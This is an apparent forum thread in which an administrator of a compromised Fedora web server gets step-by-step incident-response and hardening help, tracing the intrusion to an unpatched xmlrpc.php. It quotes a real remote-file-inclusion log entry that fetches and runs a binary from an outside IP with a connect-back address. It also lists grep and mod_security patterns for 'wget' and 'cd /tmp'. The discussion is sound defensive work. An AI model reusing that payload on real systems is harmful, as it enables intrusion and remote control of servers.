Compromised by "ConnectBack Backdoor Shell vs 1.0 by LorD of IRAN HACKERS SABOTAGE"
 

I have just noticed that one of my machines (a dedicated web server) has been compromised. In my Apache error log I can see the following:

And then also various entries like this:

I think the last line is me killing a process called "cgi" when I shutdown Apache and couldn't restart it cos something was still listening on port 80

I then checked in /tmp and noticed various files in there that shouldn't be there - such as

• spam/ (contains text files for an HTML email and huge numbers of Brazilian email addresses)
• psybnc/ (contains contents of psybnc.tgz)
• psybnc.tgz
• cgi (loads of binary code plus some Javascript functions)
• lsd20.txt (a perl script)
• dc.txt (a perl script)

Inside the dc.txt file there's the following line, which I presume is the signature line of this exploit:
Now obviously I need to remove this exploit, and shut the hole that they used to get in with.

All I've done so far is tar up the contents of /tmp for future reference before nuking everything.

I don't run PostNuke, but one of my users was running an old version of Wordpress which I'm pulling offline right now.

Presuming that they gained access via a PHP script, how do I go about finding out which one, and plugging this hole?

Any advice appreciated.

I would suggest first saving a full process and network connections listing, then route/firewall it to make sure all network access is denied except for your management IP/range. Restart sshd and watch for rogue processes/errors. This should leave only you with only ssh access to the box by which you have isolated the situation which is a good starting point for a more thorough check. Check any adjacent boxen for same/similar specs and repeat.

I'll write more when I get back. BTW, the cgi was the PsychoPhobia Backdoor. Who where the files owned by?

Thanks for your reply.

Before I nuked the contents of /tmp I made a tarball of the contents. However, unfortunately I forgot the -p flag so the permissions won't have been preserved. However, I remember that most of the files were owned by the "apache" user, but I definitely saw one of the offending files was owned by root, but I can't remember which one.

This is a dedicated server running public-facing websites. Presumably when you say "firewall it to make sure all network access is denied except for your management IP/range" you mean for all the services, including the web and mail servers, effectively taking the server down from public access. So I'm going to have to inform the clients of the downtime....

Could you tell me how you would "save a full process and network connections listing" - do you mean using ps and/or netstat?

And why restart sshd? To kick out any login shells that are running that I don't know about?

Thanks

Before I nuked the contents of /tmp I made a tarball of the contents. However, unfortunately I forgot the -p flag so the permissions won't have been preserved.
I thought tar by default kept permissions?..


However, I remember that most of the files were owned by the "apache" user, but I definitely saw one of the offending files was owned by root, but I can't remember which one.
OK.


This is a dedicated server running public-facing websites. Presumably when you say "firewall it to make sure all network access is denied except for your management IP/range" you mean for all the services, including the web and mail servers, effectively taking the server down from public access. So I'm going to have to inform the clients of the downtime.
Unfortunately so. How they got in remains to be seen, but the fact they got in and left a backdoor is enough "evidence" to isolate the box so they can't use it for anything anymore.

You could try and minimise downtime for some services like SMTP/IMAP if you have a CLEAN spare server to migrate services to. You could even speed it up if you have a backup, but I'm kinda hesitant to offer a full restore as advice unless you have a fix on the date/time the compromise ocurred and can verify the backup is onehundred percent safe, clean. If any service depends on MySQL, be sure to check first if no users where added you can't verify are customers.


Could you tell me how you would "save a full process and network connections listing" - do you mean using ps and/or netstat?
First of all stuff below isn't onehundred percent "right": any tampering (good or bad) with a (suspected) compromised host isn't good because any action will taint the system, any output could be tainted (trojaned binaries) or even trigger unwanted action. The only remedy would be to boot from a LiveCD like FIRE or KNOPPIX, mount the partitions read-only and then dissect. That's a trade-off because then you won't get any listings of live processes. If this is a colo box you can't boot a LiveCD anyway. If this is a local box you could mount a cdr and use those binaries as a precaution. I'd use "\ps axfwwwe | tee -a log", "\netstat -panel | tee -a log", "lsof -n | tee -a log" and "cat /proc/modules | tee -a log", if you've got . If you want us to look at it please tarball it and post a D/L location (might be a bit too much to post) else mail me the D/L loc and I'll have a look.


And why restart sshd? To kick out any login shells that are running that I don't know about?
Basically to see if it functions alright yes. Please check every user is gone and recheck opened ports.


Could you give us some info on the box itself: O.S. vendor, release, running network daemons, databases + versions, same for interpreters? If your system is RPM-based this is a good time to run "rpm-Va". Same if you previously installed Chkrootkit, Rootkit Hunter, Tiger or any filesystem integrity checking apps like Aide, Samhain or even tripwire.

The system is Federa Core 4 running under a Xen host, so it's a virtual machine. It runs about 10 web sites, with http(s), pop3(s), imap(s), spamd, ftp, sshd and mysqld v4.1, dovecot, postfix, Apache 2.0, pure-ftpd.

I have backups of all the databases and home directories, and have also got copies of the important system configuration files. My ISP could simply delete the virtual machine, and recreate a new one from their disk image. I have documented the steps involved in setting it up, and could get it back up and running inside a couple of hours I think. Would this be the easiest way forward, rather than trying to sanitise the entire system?

Tar doesn't appear to have kept the permissions - I created the tarball with "tar -czvf ~hack.tgz" and scp'd it to my local machine and unpacked it there with "tar -xzvpf hack.tgz" and all the files are owned by my own user account.

The suspect files I described in /tmp - some of them had been there since December 15th, whereas others had only been installed yesterday. However, the only noticeable effect of this intrusion has been the deluge of spam being sent from the server, and this only started 2 days ago on the 23rd Jan. So why it was compromised and then left for over a month I do not know. None of them web sites have been defaced either.

I've just installed RootKitHunter and it seems to be reporting a clean system. Will this return valid results if it's only installed after the intrusion has occurred?

I've run the commands you specified - I can't see anything untoward in the output. I've emailed you the download location of the log file generated.

I've also restarted sshd and when I run w or who it's only showing me logged in.

So how do I go about tracking down HOW they gained access to the system - obviously if I re-create the system from scratch I don't want to leave the same door open !!

Thanks for your help with all this - I'm really grateful.

I've now installed chkrootkit and rootkithunter. Both seem to think there's nothing untoward going on.

Chkrootkit reports only an issue with
And Rootkithunter is only flagging up

However, I don't think these are anything to worry about.

I've run the commands you specified - I can't see anything untoward in the output. I've emailed you the download location of the log file generated.
Thanks for the process, connection and lsof logs. While you can only see argv[0] names, they don't look suspicious, but running "rpm -Va" should confirm that (caveat emptor wrt RPM database integrity and out-of-scope files: that's exactly the argument for running a filesystem integrity checker).


The system is Federa Core 4 running under a Xen host
Congrats on the virtualization part. OT the FC4 part wouldn't be my cup of tea: I'd trade it in for something less bleeding edge.


I have documented the steps involved in setting it up,
Good work.


and could get it back up and running inside a couple of hours I think. Would this be the easiest way forward, rather than trying to sanitise the entire system?
It simply is a case of "guilty until proven innocent": if you take the fact someone set up a backdoor I would not be able to trust the system period. To be able to counter this you *must* have means to unquestionably prove the systems' sanity. This takes much time and so usually we forego timeconsuming forensics (and whose results can't be guaranteed) and advice people to repartition, reformat, reinstall from scratch (obviously the first two R's don't have meaning wrt virtualization).


Tar doesn't appear to have kept the permissions
"zcat hack.tgz|tar -t"


However, the only noticeable effect of this intrusion has been the deluge of spam
With emphasis on "noticeable".


why it was compromised and then left for over a month I do not know.
Anything I say would be speculation, I try to deal only with facts.


I've just installed RootKitHunter and it seems to be reporting a clean system. Will this return valid results if it's only installed after the intrusion has occurred?
OK. See previous remark about tainting the system and trojaned binaries. Next to that RKH doesn't install modules to check the kernels functioning (Samhain, StMichael, etc, etc) or use "deep analysis" tools, so while it is a worthy tool YMMV.


So how do I go about tracking down HOW they gained access to the system - obviously if I re-create the system from scratch I don't want to leave the same door open !!
- Run "rpm -Va"
- Start by checking your system and daemon logs for anomalies.
- Use "grep httpd /var/log/rpmpkgs" to get the package+version tag. You'll need it to check for flaws/vulns. Don't forget PHP/Perl/Python and any related (web-based) applications.
- Grep your httpd access and error logs for any GET that includes some iteration of "cd%20/tmp", "wget%20" and "http".
BTW, was the system running under SELinux or was it disabled?


/usr/lib/perl5/5.8.6/i386-linux-thread-multi/.packlist
Not a problem. For completeness sake:
rpm -qf /usr/lib/perl5/5.8.6/i386-linux-thread-multi/.packlist :perl-something
rpm -V --noscripts perl-something | grep packlist


However, I don't think these are anything to worry about.
While verification is (always!) better then just any answer it most likely is a false positive.

Here is the output of "RPM -Va"

Now out of the above, it seems the MySQL installation has been highlighted - I installed this using RPM's from MySQL and not from Fedora repositories. However, I'm not sure why the libstdc++ and libpanel errors have occurred - do you think this is a cause for concern?

Also, the missing dependencies for webalizer are caused by me using the --nodeps option when installing it, as I have httpd, php, pure-ftpd and dovecot daemons compiled from source and not rpm based.

I know FC4 is too bleeding edge for this kind of server, but it seems to do fine for a cut-down web server without X and with most of the packages removed. The virtualization aspect is my way of keeping down costs, but the Xen host machine isn't managed by me but my ISP.

Your advice seems to be that it would be easiest simply to rebuild the system. The problem with this is that if I follow my detailed setup documentation again, it's likely that I'll be left with the same vulnerability that I don't yet know what is. So presumably I should try and nail down the vulnerability before I do anything, and seeing as all the services are running ok and the machine isn't sending out a ton of spam then I can take a little time to do this. I might even use this as an opportunity to move accounts off onto a new server (as the current one doesn't perform too well due to the virtualisation overhead).

I'm running Apache/2.0.55, MySQL 4.1.16 which are the latest releases, and have religiously kept all the RPM packages up to date as updates are released.

By the way, if I had been running Apache in a chrooted jail, would this mean I would be able to simply delete the jail and replace it with a copy I'd made from when I knew the system was clean? i.e. limit the intrusion to the chroot, and then simply remove and replace without affecting the rest of the OS ?

In the httpd error logs I have entries such as this:

But how on earth do shell commands end up in the Apache log file? This bit I just don't understand. Could you enlighten me at all?

Also, in the httpd access log I have loads of entries that look like this:

However, awstats doesn't exist on my system although it seems to be targetting it. Is it possible to gain access to a system via an HTTP request for a file that doesn't even exist?

In fact, all the dubious entries in the httpd access and error log files are for the main server configuration, rather than any of the virtual hosts I operate, but the thing is the main server document root doesn't contain any applications or scripts - just an index.php file that contains an <h1> title.

it seems the MySQL installation has been highlighted (...) do you think this is a cause for concern?
Basically you're only looking for sum mismatches. Then a stat of the file reveals changes ocurred before, on or after the date of compromise so you can discard some.


Your advice seems to be that it would be easiest simply to rebuild the system.
Yes.


The problem with this is that if I follow my detailed setup documentation again, it's likely that I'll be left with the same vulnerability that I don't yet know what is.
I think it's clear stuff should be changed before allowing public access again, but from what I've seen so far I haven't been able to draw any conclusions, so no recommendations yet.


So presumably I should try and nail down the vulnerability before I do anything,
That's what you're working on...


I'm running Apache/2.0.55, MySQL 4.1.16 which are the latest releases, and have religiously kept all the RPM packages up to date as updates are released.
...except httpd, php, pure-ftpd and dovecot where compiled from source which means no yum, apt-get or autoupdate will alert you on new releases. Please check all mentioned apps/versions (see prev post).


By the way, if I had been running Apache in a chrooted jail, would this mean I would be able to simply delete the jail and replace it with a copy I'd made from when I knew the system was clean? i.e. limit the intrusion to the chroot, and then simply remove and replace without affecting the rest of the OS ?
Yes.


In the httpd error logs I have entries such as this: (..) But how on earth do shell commands end up in the Apache log file?
Simply said apps sometimes allow you ways to sneak in commands. Hosters should harden boxen and services but flawed programming often is at the base of this problem: programmers forgetting to *never* trust user input.


Also, in the httpd access log I have loads of entries that look like this: (..) However, awstats doesn't exist on my system although it seems to be targetting it. Is it possible to gain access to a system via an HTTP request for a file that doesn't even exist?
Bit of luck there: if it doesn't exist it's not exploitable.


In fact, all the dubious entries in the httpd access and error log files are for the main server configuration, rather than any of the virtual hosts I operate, but the thing is the main server document root doesn't contain any applications or scripts - just an index.php file that contains an <h1> title.
OK. What applications+versions do your customers run?

Once again thanks for your help :)

I am subscribed to the various announce lists for the software that I have built from source, so as to be able to keep those up to date as well as the software that is installed from RPMs.

One of my users was running an older version of Wordpress, which I know had some reported vulnerabilities - a single candidate entry in this vhosts logs is:
In the main server access log there were several entries like this one, except they all referred to files that didn't exist, whereas this one refers to /index.php which does exist:
In the same log file I've also seen entries like this:
I think the original intrusion was on 15th December, but unfortunately my log files only go back 4 weeks so I can't extract entries from that far back.

Do the entries I've put in this post give you any clues?

I do run phpMyAdmin but that's on the SSL virtual host and is password protected. Most of the web sites are PHP sites, but none of them make any system calls as far as I know. There are also 2 instances of DadaMail which is a perl based mailing list system. Plus the old copy of Wordpress that I mentioned earlier. So far I don't see any reason to suspect any of these apps (I'd be happy to be proved wrong however!!)

selinux is disabled on this system. It has always seemed to cause too many issues with other things.

I am running PHP 4.4.1. Version 4.4.2 was released on the 13th January, which claims to be a security release to fix the following issues:

* Prevent header injection by limiting each header to a single line.
* Possible XSS inside error reporting functionality.
* Missing safe_mode/open_basedir checks into cURL extension.
* Apache 2 regression with sub-request handling on non-Linux systems.
* key() and current() regression related to references.

Are these possibly to do with the type of expoit my server is suffering from? I'd have thought the first 2 bugs might be relevant, but I just don't know enough about it etc

In the main server access log there were several entries like this one, except they all referred to files that didn't exist, whereas this one refers to /index.php which does exist: &mosConfig_absolute_path=http://200.72.130.29/cmd.gif?&cmd=cd%20/tmp;wget%20212.203.97.120/sexy;chmod%20744%20sexy;./sexy%2071.137.131.26%208080;00;echo%20YYY;echo| HTTP/1.1" 200 28 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
And there you have it: a way to sneak in commands...
Any chance of correllating logs with "/tmp/sexy" or other downloaded stuff?


Most of the web sites are PHP sites, but none of them make any system calls as far as I know. (..) So far I don't see any reason to suspect any of these apps (I'd be happy to be proved wrong however!!)
IANAC, but the attempt above should ./hair --raise.


Are these possibly to do with the type of expoit my server is suffering from? I'd have thought the first 2 bugs might be relevant, but I just don't know enough about it etc
AFAIK not from what you've shown already: it's not PHP itself but the applications that allow the attempts to happen.

This is exactly the issue that I don't understand. The statement you have highlighted in the above post is clearly an attempt to compromise the server, this I can plainly see.

However, there are lots of entries in the log file that are like this, but they are targetted at files that don't exist on the server (e.g. /awstats.pl or /wordpress/xml-rpc.php). So if these files don't exist (because these applications aren't installed), then these attacks are of no threat. Fine.

So there was a case of an attack like you have highlighted above, to a file that does exist. This file is /index.php and it contains the following code:

And the GET request used to create the intrusion was likely to be this one:

So what I don't understand is how that GET request can compromise a PHP script that contains only an echo statement. There's no flawed programming in that index.php file, so how was that request able to compromise it? Unless that it, it has exploited a weakness in PHP itself.

Is it literally a clever combination of query string variables that is used to confuse Apache or PHP, and somehow get them to execute the commands contained in the query string?

Thanks for your help.

So what I don't understand is how that GET request can compromise a PHP script that contains only an echo statement. There's no flawed programming in that index.php file, so how was that request able to compromise it? Unless that it, it has exploited a weakness in PHP itself. Is it literally a clever combination of query string variables that is used to confuse Apache or PHP, and somehow get them to execute the commands contained in the query string?
No, it can't be compromised that way. To be able to abuse it there usually must exist a condition where for instance globals are on and the ability exist to directly write to vars using some option. I can't explain how I ended up drawing the wrong conclusion as you explained before the main index.php to be free of any scripting. Must have been mental floss. I am however confident that it is the correct entry vector (unless another daemon too writes to /tmp as user apache or human users have the ability to chown files to apache user and group). So if it ain't this script it will be another, but since your logs aren't kept for more than four weeks you'll probably never know. If you have no further questions I think it's time to round this up offering advice about hardening.

Ok, I think I know how to track down this type of attack now. What I'm going to do is the following:

• Set all important log files to be kept for 3 months instead of 4 weeks
• Keep a major eye out for entries of this nature in my Apache logs
• Continue to ensure that all non-RPM software is patched speedily
• Regularly keep an eye on /tmp and /var/tmp to check for unusual activity
• Remove any unneeded PHP/Perl apps, and force required ones to be updated regularly by users (otherwise they'll be removed)

If nothing unexpected turns up then I'll assume the box is clean (I don't see what else I can do) - I'm going to move to a different host at some point in the next few months so I'll just have to keep it running until I can transfer clients off the machine.

Also, in terms of hardening the server, I'm thinking of the following:

• Install rootkithunter, chkrootkit and tripwire - cron these daily to receive email reports
• Configure mod_security for Apache, to block requests with string such as 'wget' and 'cd /tmp' etc
• Retrict IP range for SSH access to only my management IP (previously I enjoyed the luxury of SSH'ing in from anywhere)
• Run Apache in a chrooted jail (what else is a good idea to run in a chrooted environment??)

Are there any other suggestions you can make?

Thanks for all your help with this - I think I've learned rather a lot - I was aware of all of this beforehand but now it all seems to have fitted together in place and is much clearer.

Are there any other suggestions you can make?
Yes, but before I do a word of warning if you please. While during the course of this thread the exact date and time, entry vector and result wheren't determined I would like to emphasise once more your box was compromised and you should act on it by at least doing the following: please start by reading CERT: Steps for Recovering from a UNIX or NT System Compromise. While I've done my best to guide you through this I am certain I did not follow all steps. I don't need to tell you it is your responsability towards your fellow internet users to make sure the system is and will remain onehundred percent under your control. Minimally you should aim to have all system and user passwords changed, offending software updated or removed, network facing software re-installed and updated, and the box hardened as a whole.
I would also like to remind you that continuing to use, and installing and running filesystem integrity check applications on a compromised host isn't a sound basis and will lead to a false sense of security.

Enough said. Most of the stuff mentioned you find reading the LQ FAQ: Security references, I'll try and highlight some here. For trying out some I'd recommend have a dev box so your tests won't kill the server. While I don't go into it here you will also want to work on the procedural approach wrt responsabilities like timely upgrades, backups, auditing and post-upgrade testing. Building and implementing a policy will take time but will save you time in the long run.

Basic host configuration and hardening
I find The SANS Top 20 Internet Security Vulnerabilities a good starting point, especially C3: "PHP-based Applications". Check out CERT: UNIX Configuration Guidelines and AusCERT - UNIX Security Checklist v2.0 - The Essentials, while rather old they contain enough basic material to still be relevant. Add your choice of docs like Linux Administrator's Security Guide (LASG) and Securing & Optimizing Linux and the SELinux docs. Check with
Tiger, LSAT (Number9's, not Mixter's), Bastille Linux (--report mode). If you don't want to use SELinux, maybe you could consider the GRSecurity kernel patch which offers considerable hardening (for instance chroot functionality), control (for instance Trusted Path execution (TPE), rule-based access (RBAC) and the ability to deny certain users network access) and auditing features (who executed what when?).


Network, service and application-specific configuration and hardening
Network restrictions are a layered combination of TCP wrappers (/etc/hosts.{deny, allow} and libwrap-compiled apps like OpenSSH and Xinetd), PAM settings for accounts, firewall, service-specific settings (Apache's deny from all/allow from, SMTP Blacklists) and finally a NIDS. See LQ FAQ: Security references post #2 and 3.
Basically three things to consider. Network stack hardening (sysctl), iptables: default DROP policies so you only open up what you explicitly allow, in/egress filtering and logging. There's also a few good threads in this forum about building good rulesets. Deploying a NIDS, preferably Snort. Add a third-party add-on like Guardian if you want to have active blocking capabilities.
You're right to only allow SSH access from your management IP ranges. I always add a Xinetd entry for SSH on a high port and restrict access to that. Next to that I mount /usr read-only or chattr +iu the whole tree where ro mounts aren't possible, use partitions for user-writable temps and minimally mount them noexec,nosuid where possible.

Check services with Tiger, Env_audit, Nessus, Nmap (and Metasploit if you're feeling lucky :-] ).


Some application-specific stuff. Next to the developers docs about and threads here about Apache/MySQL security, chrooting ( LQ FAQ: Security references post #4) here's an extension of post #6, which was due like six months ago:
Apache
Web Security Appliance With Apache and mod_security (SF): http://www.securityfocus.com/infocus/1739
Securing Apache Step-by-Step: http://www.securityfocus.com/infocus/1694
Securing apache2: http://www.securityfocus.com/infocus/1786
Apache mod_security guide: http://www.securityfocus.com/infocus/1739
Apache mod_ssl: http://www.securityfocus.com/infocus/1356

Apache modules
mod_dosevasive: http://www.nuclearelephant.com/projects/dosevasive/
mod_security: http://www.modsecurity.org
mod_security rulesets: http://www.gotroot.com/mod_security+rules
mod_security rule generator: http://leavesrustle.com/tools/modsecurity/

MySQL
Securing MySQL Step-byStep: http://www.securityfocus.com/infocus/1726
Secure MySQL Database Design: http://www.securityfocus.com/infocus/1667
SQL injection attack mitigation: SafeSQL: http://www.phpinsider.com/php/code/SafeSQL/, http://www.webmasterbase.com/article/794
Detect SQL injection attacks: class_sql_inject: http://www.phpclasses.org/browse/package/1341.html

PHP
Top 7 PHP Security Blunders: http://www.sitepoint.com/print/php-security-blunders
PHP Security Guide: http://phpsec.org/projects/guide/ (PHP Security Library: http://phpsec.org/library/)
PHPsec.org Security Guide considered harmful: http://www.hardened-php.net/php_secu...armful.51.html
PHP: Preventing register_global problems: http://www.modsecurity.org/documenta...r-globals.html
Securing PHP Step-by-Step: http://www.securityfocus.com/infocus/1706
PHP Security: http://www.onlamp.com/pub/a/php/2003...undations.html
Security of PHP: http://www.developer.com/lang/article.php/918141 (PHP Foundations: http://www.onlamp.com/pub/ct/29)
Auditing PHP, Part 1: Understanding register_globals: http://www-128.ibm.com/developerworks/library/os-php1/
Hardened PHP: http://www.hardened-php.net
SuPHP: http://www.suphp.org/Home.html
(http://www.phpsecure.info seems outdated)

Checking PHP
phpcksec: http://tools.desire.ch/phpcksec/
CastleCops Analyzer (Nuke only?): http://nukecops.com/
We definately need more checking apps for the AMP part of LAMP.


Logging and auditing
When configuring your system you should make sure the system logs, all application logs and security add-ons provide enough logging for you to get clues from (and you're right your retention time was way too low). There are tools (iptstate, apachetop, ACID, SPADE, FWLogwatch) providing you with a dashboard to check, but they should be used in combination with more central parsers like Logwatch or Swatch.

Next to regularly running tools like Tiger, Rootkit Hunter and Chkrootkit you will want to deply a filesystem integrity check application like Aide, Samhain or even tripwire because the scope of "rpm -Va" is limited. Make sure any checksum databases are mirrored off-site as a precaution wrt tampering.

Make sure root account email is read periodically by an unprivileged user (or else at least pre_load Libsafe and "noexec pine").

I also want to mention Monit. While Monit is a tool primarily for making sure/keeping services alive, it has many more features like checking ownership, MD5sums, disk space, etc etc and the capability to perform actions when a condition changes varying from sending email and restarting services to executing shell scripts. If you run it from init and make it's config immutable it can't be killed easily. Some tools mentioned are passive (for instance Tiger, Chkrootkit, Rootkit Hunter, Aide), meaning you won't get a warning until *you* cronjob some action, and some are active (for instance Snort, Samhain, Monit). You should decide what mix you need.


./close
I hope I didn't scare you away :-]
While I consider many of the above mandatory your decision on what to implement will remain a battle for either more security or more usability, and since security is an ongoing process it is a battle that needs to be prepared for and fought everyday.


Anyway, have fun!

Cheers.

Thanks for all that info in your last post - it's amazingly detailed. The next few months are going to be very busy for me it seems.

I just wanted to let you know that I've located the vulnerability that was used to compromise my server.

A client was running xmlrpc.php (I think as part of a Wordpress distribution) and they hadn't replaced it with a patched version. This script has a lot of known vulnerabilities I think.

I totally missed this at first, but it turns out that it was called via POST and not GET, so all my greps for "wget%20" and "cd%20/tmp" etc weren't finding it. I eventually located it by searching for the time of intrusion that I spotted in my error log, and finding all other records in all log files that had the same timestamp. Turns out every single instrusive record was matched by an entry in the access log (of a different vhost) to xmlrpc.php.

So obviously I've pulled the offending script (and the entire vhost for the time being, as it's likely the client has more unpatched applications running too). I've extracted the entries in the log files and obtained this list of intrusions:

So now I presume that I have to sweep the system for changes that occurred at each of these times, as well as read up about the capabilities of exploits of xmlrpc.php.

The next few months are going to be very busy for me it seems.
Just read, chunk it up, build a plan and work your way through. If you do it right the most of your time will be spent reading and testing stuff on the dev box.


I just wanted to let you know that I've located the vulnerability that was used to compromise my server. A client was running xmlrpc.php
Well done.


I totally missed this at first, but it turns out that it was called via POST and not GET
Well done again. My fault for not pointing out other methods. I did however point you to checking applications+versions by which table you could have located vulnerabilities on the 'net as well.


So now I presume that I have to sweep the system for changes that occurred at each of these times,
Yes, you should, but if files changed again at a later stage you won't find it by searching for the exact intrusion time.


as well as read up about the capabilities of exploits of xmlrpc.php.
Here's a CVE entry CVE-2005-1698 (Postnuke) and queries from SecFocus and Secunia. Searching for "xmlrpc" at SANS will also turn up some nice handler stories.

Related Question
 

My understanding of the compromise started with the exploit sent through the php command sent to the server.

My related question is:
If I run a reverse proxy server, do I magically prevent this kind of attack? I'm thinking the answer is "it depends" but I'm very interested in getting a few opinions on the topic.

benr77 implement mod-security asap. I had a similar attack recently and Unspawn kindly pointed me in the right direction as well. You probably have a mod-security package for for your distro. Go to www.modsecurity.org and get their rule sets and implement them. I have the xmlrpc.php knocking on my server several times a day but think it originates from the Lupper worm.

My related question is: If I run a reverse proxy server, do I magically prevent this kind of attack?
AFAIK reverse proxying doesn't mean more than basic request scrubbing.

If you see vhost redirection as a form of filtering, commonly host or dir parts of a request are used. It's not common to filter on parameters: that would look like a blacklist approach trying to cover all possibilities (which is impossible). If you could use a whitelist approach then you end up being very restrictive. While whitelisting will break things easier it's also easier to make exceptions with.

If you want to be thorough you should inspect requests and replies and payload in both directions. For that on one side of the spectrum are "simple" (you know what I mean) request and payload scrubbers like mod_security, mod_rewrite, iptables (for instance owner, string match, ROPE) support. On the other side of the spectrum you have anything from IDSes, IPSes to complete application level proxies/firewall solutions.

If you're interested in exploring the topic I suggest making a new thread for it.

Since you have posted that you've found the hole I don't know if this is relevant but I thought I'd mention it anyway. This line you had in your access log is an example of abuse on a security hole that was discovered in the Mambo/Joomla CMS systems late november last year. My server was attacked on dec 6th (which is the reason for my very much increased interest in security) so if any of your vhosts were running Mambo 4.5.2.3 or Joomla! 1.0.4 or older versions this date of dec 15th could very well fit with that exploit.

PS. thanks unSpawn for your work on this list of references.

br. Eggert